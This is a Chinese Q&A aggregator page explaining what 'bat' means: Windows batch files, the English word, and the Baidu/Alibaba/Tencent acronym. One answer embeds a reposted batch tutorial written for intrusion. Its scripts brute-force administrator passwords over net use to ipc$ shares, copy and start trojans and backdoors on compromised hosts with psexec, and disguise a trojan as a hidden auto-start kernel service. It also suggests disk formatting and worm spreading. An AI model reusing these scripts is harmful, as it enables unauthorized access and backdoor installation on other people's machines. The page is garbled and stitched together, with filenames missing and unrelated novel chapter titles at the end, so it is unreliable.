十万个为什么

bat是什么意思

来源网络
bat是什么意思,battle是什么意思

最近很多用户在找关于bat是什么意思的解答,今天小编为大家汇总几条条解答来给大家解读! 有97%新玩家认为bat是什么意思(battle是什么意思)值得一读!

4条解答

一.bat是什么意思

批处理文件,在DOS和Windows(任意)系统中,.bat文件是可执行文件,由一系列命令构成,其中可以包含对其他程序的调用。这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。详细解释:批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理,通常被认为是一种简化的脚本语言,它应用于DOS和Windows系统中。批处理文件的扩展名为bat或cmd。目前比较常见的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。更复杂的情况,需要使用if、for、goto等命令控制程式的运行过程,如同C、Basic等高级语言一样。如果需要实现更复杂的应用,利用外部程式是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理程序虽然是在命令行环境中运行,但不仅仅能使用命令行软件,任何当前系统下可运行的程序都可以放在批处理文件中运行。以上内容参考

百度百科—bat

二.英语单词bat的意思

请大家帮我一道完成暑假作业. 诚谢!!!!!! 诚谢!!!!!!bat是名词,指蝙蝠,球拍在WINDOWS运行BAT文件的话肯定会有窗口出现。


在BAT的开头加上 @echo off 可以不显示你BAT文件的内容和运行结果。


结尾加上 exit 退出BAT 你可以再为这个BAT文件建一个快捷方式,在这个快捷方式的属性里选用运行时最小化。


batn. 蝙蝠, 球棒 v. 用球棒击球 [计] 批处理文件的扩展名 abbr. [军] Basic Armor Training,

装甲兵基础训练就是把多个dos命令放在一起给你一份资料吧[转帖]批处理教程转载:作者不详(感谢著者)最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。


”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程>>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.批处理文件是无格式的文本文件,它包含一条或多条命令。


它的文件扩展名为 .bat 或 .cmd。


在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用按照该文件中各个命令出现的顺序来逐个运行它们。


使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。


当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。


下面就开始我们批处理学习之旅吧。


一.简单批处理内部命令简介 命令打开回显或关闭请求回显功能,或显示消息。


如果没有任何参数,echo 命令将显示当前回显设置。


语法echo [{on|off}] [message]sample:@echo off / echo hello

world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >>

^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。


2.@ 命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。


sample:@echo off@echo now initializing the program,please wait a

minite...@format x: /q/u/autoset (format

这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。


) 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。


语法:goto label (label是参数,指定所要转向的批处理程序中的行。


) sample:if {%1}=={} goto noparmsif {%2}=={} goto

noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。


)@rem check parameters if null show usage:noparmsecho usage: serverip

portnumbergoto

end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。


最好有一些说明这样你别人看起来才会理解你的意图啊。


命令注释命令,在c语言中相当与/--------/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。


rem messagesample:@rem here is the 命令运行 pause 命令时,将显示下面的消息: press any key to

continue . . . sample:@echo off :begin copy a:. d:\backecho please put a new

disk into driver a pause goto begin 在这个例子中,驱动器 a 中磁盘上的所有文件均复制到d:\back中。


显示的注释提示您将另一张磁盘放入驱动器 a 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。


命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。


call 命令接受用作调用目标的标签。


如果在脚本或批处理文件外使用 call,它将不会在命令行起作用。


语法call [[drive:][path] filename [batchparameters]] [:label

[arguments]]参数[drive:}[path] filename 指定要调用的批处理程序的位置和名称。


filename 参数必须具有 .bat 或 .cmd 扩展名。


命令调用外部程序,所有的dos命令和命令行程序都可以由start命令来调用。


入侵常用参数:min 开始时窗口最小化separate 在分开的空间内开始 16 位 windows 程序high 在 high

优先级类别开始应用程序realtime 在 realtime 优先级类别开始应用程序wait 启动应用程序并等候它结束parameters

这些为传送到命令/程序的参数执行的应用程序是 32-位 gui 应用程序时, 不等应用程序终止就返回命令提示。


如果在命令脚本内执行,该新行为则不会发生。


命令choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。


使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。


它的返回码为1234……如: choice /c:dme

defrag,mem,end将显示defrag,mem,end[d,m,e]?sample:的内容如下: @echo off choice /c:dme

defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码)if errorlevel 2 goto

mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end

:end echo good bye此文件运行后,将显示 defrag,mem,end[d,m,e]? 用户可选择d m e

,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto

end将程序跳到end标号处,然后程序将显示good bye,文件结束。


命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令。


有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。


(注意是两个等号)如if "%1"=="a" format a: if {%1}=={} goto noparmsif {%2}=={} goto

noparms2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。


如if exist edit 3、if errorlevel / if not errorlevel 数字 待执行的命令

如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。


如if errorlevel 2 goto x2 dos程序运行时都会返回一个数字给dos,称为错误码errorlevel或称返回码,常见的返回码为0、1。


命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。


在批处理文件中使用 for 命令时,指定变量请使用 %%variablefor {%variable|%%variable} in (set) do

command [ commandlineoptions]%variable 指定一个单一字母可替换的参数。


(set) 指定一个或一组文件。


可以使用通配符。


command 指定对每个文件执行的命令。


command-parameters 为特定命令指定参数或命令行开关。


在批处理文件中使用 for 命令时,指定变量请使用 %%variable而不要用 %variable。


变量名称是区分大小写的,所以 %i 不同于 %i如果命令扩展名被启用,下列额外的 for 命令格式会受到支持:for /d %variable in

(set) do command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。


for /r [[drive:]path] %variable in (set) do command [command-检查以 [drive:]path

为根的目录树,指向每个目录中的for 语句。


如果在 /r 后没有指定目录,则使用当前目录。


如果集仅为一个单点(.)字符,则枚举该目录树。


for /l %variable in (start,step,end) do command [command-

para该集表示以增量形式从开始到结束的一个数字序列。


因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。


for /f ["options"] %variable in (file-set) do command for /f ["options"]

%variable in ("string") do command for /f ["options"] %variable in ('command')

do command 或者,如果有 usebackq 选项:for /f ["options"] %variable in (file-set) do

command for /f ["options"] %variable in ("string") do command for /f

["options"] %variable in ('command') do command filenameset 为一个或多个文件名。


继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。


处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。


然后用已找到的符号字符串变量值调用 for 循环。


以默认方式,/f 通过每个文件的每一行中分开的第一个空白符号。


跳过空白行。


您可通过指定可选 "options"参数替代默认解析操作。


这个带引号的字符串包括一个或多个指定不同解析选项的关键字。


这些关键字为:eol=c - 指一个行注释字符的结尾(就一个)skip=n - 指在文件开始时忽略的行数。


delims=xxx - 指分隔符集。


这个替换了空格和跳格键的默认分隔符集。


tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。


这会导致额外变量名称的格式为一个范围。


通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。


usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。


sample1:for /f "eol=; tokens=2,3* delims=, " %i in () do command会分析

中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。


请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。


对于带有空格的文件名,您需要用双引号将文件名括起来。


为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。


%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。


您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'z' 的变量。


请记住,for 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。


您还可以在相邻字符串上使用 for /f 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。


这样,该字符串会被当作一个文件中的一个单一输入行。


最后,您可以用 for /f 命令来分析命令的输出。


方法是,将括号之间的 filenameset 变成一个反括字符串。


该字符串会被当作命令行,传递到一个子 ,其输出会被抓进内存,并被当作文件分析。


因此,以下例子:for /f "usebackq delims==" %i in (set) do @echo %i会枚举当前环境中的环境变量名称。


另外,for 变量参照的替换已被增强。


您现在可以使用下列选项语法:~i - 删除任何引号("),扩充 %i%~fi - 将 %i 扩充到一个完全合格的路径名%~di - 仅将 %i

扩充到一个驱动器号%~pi - 仅将 %i 扩充到一个路径%~ni - 仅将 %i 扩充到一个文件名%~xi - 仅将 %i 扩充到一个文件扩展名%~si

- 扩充的路径只含有短名%~ai - 将 %i 扩充到文件的文件属性%~ti - 将 %i 扩充到文件的日期/时间%~zi - 将 %i

扩充到文件的大小%~$path:i - 查找列在路径环境变量的目录,并将 %i 扩充到找到的第一个完全合格的名称。


如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpi - 仅将 %i 扩充到一个驱动器号和路径%~nxi

- 仅将 %i 扩充到一个文件名和扩展名%~fsi - 仅将 %i 扩充到一个带有短名的完整路径名%~dp$path:i -

查找列在路径环境变量的目录,并将 %i 扩充到找到的第一个驱动器号和路径。


%~ftzai - 将 %i 扩充到类似输出线路的 dir在以上例子中,%i 和 path 可用其他有效数值代替。


%~ 语法用一个有效的 for 变量名终止。


选取类似 %i 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。


以上是ms的官方帮助,下面我们举几个例子来具体说明一下for命令在入侵中的用途。


sample2:利用for命令来实现对一台目标win2k主机的暴力密码破解。


我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。


最主要的命令是一条:for /f i% in () do net use \\ip\ipc$ "i%"

/u:"administrator"用i%来表示admin的密码,在中这个取i%的值用net use 命令来连接。


然后将程序运行结果传递给find命令--for /f i%% in () do net use \\ip\ipc$ "i%%"

/u:"administrator"|find ":命令成功完成">>d:\ ,这样就ko了。


sample3:你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。


文章开头就谈到使用批处理文件,可以简化日常或重复性任务。


那么如何实现呢?呵呵,看下去你就会明白了。


主要命令也只有一条:(在批处理文件中使用 for 命令时,指定变量使用 %%variable)@for /f "tokens=1,2,3 delims= "

%%i in () do start call %%i %%j

%%ktokens的用法请参见上面的sample1,在这里它表示按顺序将中的内容传递给中的参数%i %j %k。


而无非就是用net use命令来建立ipc$连接,并copy木马+后门到victim,然后用返回码(if errorlever

=)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。


delims= 表示中的内容是一空格来分隔的。


我想看到这里你也一定明白这里的内容是什么样的了。


应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。


代码雏形:--------------- cut here then save as a batchfile(i call it )

---------------------------@echo off@if "%1"=="" goto usage@for /f

"tokens=1,2,3 delims= " %%i in () do start call %%i %%j %%k@goto

end:usage@echo run this batch in dos just double-click it.:end---------------

cut here then save as a batchfile(i call it )

---------------------------------------------- cut here then save as a

batchfile(i call it ) -----------------------------@net use \\%1\ipc$ %3

/u:"%2"@if errorlevel 1 goto failed@echo trying to establish the ipc$

connection …………ok@copy \\%1\admin$\system32 && if not errorlevel 1 echo ip %1

user %2 pwd %3 >>@psexec \\%1 c:\winnt\system32\@psexec \\%1 net start

windrv32 && if not errorlevel 1 echo %1 backdoored >>:failed@echo sorry can

not connected to the victim.----------------- cut here then save as a

batchfile(i call it )

--------------------------------这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(),需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+pos的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。


sample1:@echo offif "%1"=="a" format a: :format@format a:/q/u/auotset@echo

please insert another disk to driver a.@pause@goto

fomat这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入

a,呵呵,好像有点画蛇添足了~^^sample2:当我们要建立一个ipc$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip

password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。


@echo off@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里password是第二个参数。


@if errorlevel 1 echo connection failed怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^
^.no.3

三.如何使用组合命令(compound command)1.&usage;:第一条命令 & 第二条命令 [&

第三条命令...]用这种方法可以同时执行多条命令,而不管命令是否执行成功sample:c:>dir z: & dir c:\ex4rchthe

system cannot find the path in drive c has no serial number is

0078-59fbdirectory of c:\ex4rch2002-05-14 23:51 .2002-05-14 23:51

..2002-05-14 23:51 14 2.&&usage;:第一条命令 && 第二条命令 [&&

第三条命令...]用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;sample:c:>dir

z: && dir c:\ex4rchthe system cannot find the path specified.c:>dir c:\ex4rch

&& dir z:volume in drive c has no serial number is 0078-59fbdirectory of

c:\ex4rch2002-05-14 23:55 .2002-05-14 23:55 ..2002-05-14 23:55 14 1 file(s)

14 bytes2 dir(s) 768,671,744 bytes freethe system cannot find the path

specified.在做备份的时候可能会用到这种命令会比较简单,如:dir file://192.168.0.1/database/ && copy

file://192.168.0.1/database/

e:\backup如果远程服务器上存在文件,就执行copy命令,若不存在该文件则不执行copy命令。


这种用法可以替换if exist了 :)3.||usage:第一条命令 || 第二条命令 [||

第三条命令...]用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;sample:c:\ex4rch>dir

|| del in drive c has no serial number is 0078-59fbdirectory of

c:\ex4rch2002-05-14 23:55 14 1 file(s) 14 bytes0 dir(s) 768,696,320 bytes

free组合命令使用的例子:sample:@copy \\%1\admin$\system32 && if not errorlevel 1 echo

ip %1 user %2 pass %3 >>四、管道命令的使用1.| 命令usage:第一条命令 | 第二条命令 [|

第三条命令...]将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。


sample:time /t>>d:\ netstat -n -p tcp|find ":3389">>d:\ start explorer

看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的ip。


2.>、>>输出重定向命令将一条命令或某个程序输出结果的重定向到特定文件中, > 与







的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。


sample1:echo hello world>c:\ (stupid

example?)sample2:时下dll木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,dll马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的exe和dll文件作一个记录:运行cmd

--转换目录到system32--dir .exe> & dir

.dll>,这样所有的exe和dll文件的名称都被分别记录到和中,日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入dll木马了.这时我们用同样的命令将system32下的exe和dll文件记录到另外的和中,然后运行:cmd

--fc > & fc

.(用fc命令比较前后两次的dll和exe文件,并将结果输入到中),这样我们就能发现一些多出来的dll和exe文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被dll木马光顾了。


没有是最好,如果有的话也不要直接del掉,先用regsvr32 /u

将后门dll文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。


3.< 、>& 、<&< 从文件中而不是从键盘中读入命令输入。


& 将一个句柄的输出写入到另一个句柄的输入中。


<& 从一个句柄读取输入并将其写入到另一个句柄输出中。


这些并不常用,也就不多做介绍。


no.5

五.如何用批处理文件来操作注册表在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除run下残余的键值。


或者创建一个服务用以加载后门。


当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。


下面我们就先学习一下如何使用.reg文件来操作注册表.(我们可以用批处理来生成一个reg文件)关于注册表的操作,常见的是创建、修改、删除。


1.创建创建分为两种,一种是创建子项(subkey)我们创建一个文件,内容如下:windows registry editor version

5.00[hkey_local_machine\software\microsoft\hacker]然后执行该脚本,你就已经在hkey_local_machine\software\microsoft下创建了一个名字为“hacker”的子项。


另一种是创建一个项目名称那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:windows registry editor

version

5.00[hkey_local_machine\software\microsoft\windows\currentversion\run]"invader"="ex4rch""door"=c:\\winnt\\system32\\"autodos"=dword:02这样就在[hkey_local_machine\software\microsoft\windows\currentversion\run]下新建了:invader、door、about这三个项目invader的类型是“string

value”door的类型是“reg sz value”autodos的类型是“dword

value”2.修改修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。


3.删除我们首先来说说删除一个项目名称,我们创建一个如下的文件:windows registry editor version

5.00[hkey_local_machine\software\microsoft\windows\currentversion\run]"ex4rch"=-执行该脚本,[hkey_local_machine\software\microsoft\windows\currentversion\run]下的"ex4rch"就被删除了;我们再看看删除一个子项,我们创建一个如下的脚本:windows

registry editor version

5.00[-hkey_local_machine\software\microsoft\windows\currentversion\run]执行该脚本,[hkey_local_machine\software\microsoft\windows\currentversion\run]就已经被删除了。


相信看到这里,.reg文件你基本已经掌握了。


那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。


samlpe1:如上面的那个例子,如想生成如下注册表文件windows registry editor version

5.00[hkey_local_machine\software\microsoft\windows\currentversion\run]"invader"="ex4rch""door"=hex:255"autodos"只需要这样:@echo

windows registry editor version 5.00>>@echo

[hkey_local_machine\software\microsoft\windows\currentversion\run]>@echo

"invader"="ex4rch">>@echo "door"=5>>c:\\winnt\\system32\>>@echo

"autodos"=dword:02>>2:我们现在在使用一些比较老的木马时,可能会在注册表的[hkey_local_machine\software\microsoft\windows\currentversion\run(runonce、runservices、runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地irc木马dsnx为例(名为)@start

@attrib +h +r @echo

[hkey_local_machine\software\microsoft\windows\currentversion\run] >>@echo

"windsnx "=- >>@ create windriversrv type= kernel start= auto displayname=

windowsdriver binpath= c:\winnt\system32\@regedit /s @delete @rem

[删除dsnxde在注册表中的启动项,用将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]@rem

这样不是更安全^_^.六.精彩实例放送。


1.bat是batch的缩写,中文意思是批处理的意思。


批处理,计算机用词





三.bat是什么意思、

@echo off又是什么意思、



bat 一般为批处理文件、有时候也是com、



其实说白了、就是一些dos命令的集合、从上往下一行行的执行、



只是多了一些逻辑控制语句、



至于@echo off 时关闭回显的意思、



比如后面的指定不想让人看见就off掉就行了、



具体的请看百度的解释、、



参考资料: .htm#3



祝你好运、、






bat 是批处理程序的扩展名,是一种脚本程序, 。


cmd 和他是一样的!



@echo off 是关闭回显的意思,就是运行的时候不显示执行的命令



比如:



@echo off



echo 测试



pause



保存为bat,运行 就你就会看到结果如下:



测试



请按任意键继续。







如果没有@echo off



就会显示:



C:\Documents and Settings\Administrator\桌面>echo 测试测试



C:\Documents and Settings\Administrator\桌面>pause请按任意键继续. . .



因为我放在桌面运行的,所以以上目录是桌面的,说这么多都没用,重要的是自己做一次,楼主试一下看看两种不同的结果就会明白了!

四.BAT是什么意思

你好BAT,分别是B百度、A阿里巴巴、T腾讯的首字母。


所以这样的缩写BAT级别,就是说超一流规模的互联网公司。


蝙蝠。


互联网指baidu,alibaba,tencet,第95回 因讹成实元妃薨逝 以假混真宝玉疯癫 第96回 瞒消息凤姐设奇谋 泄机关颦儿迷本性什么意思?

标签:b 是什么 什么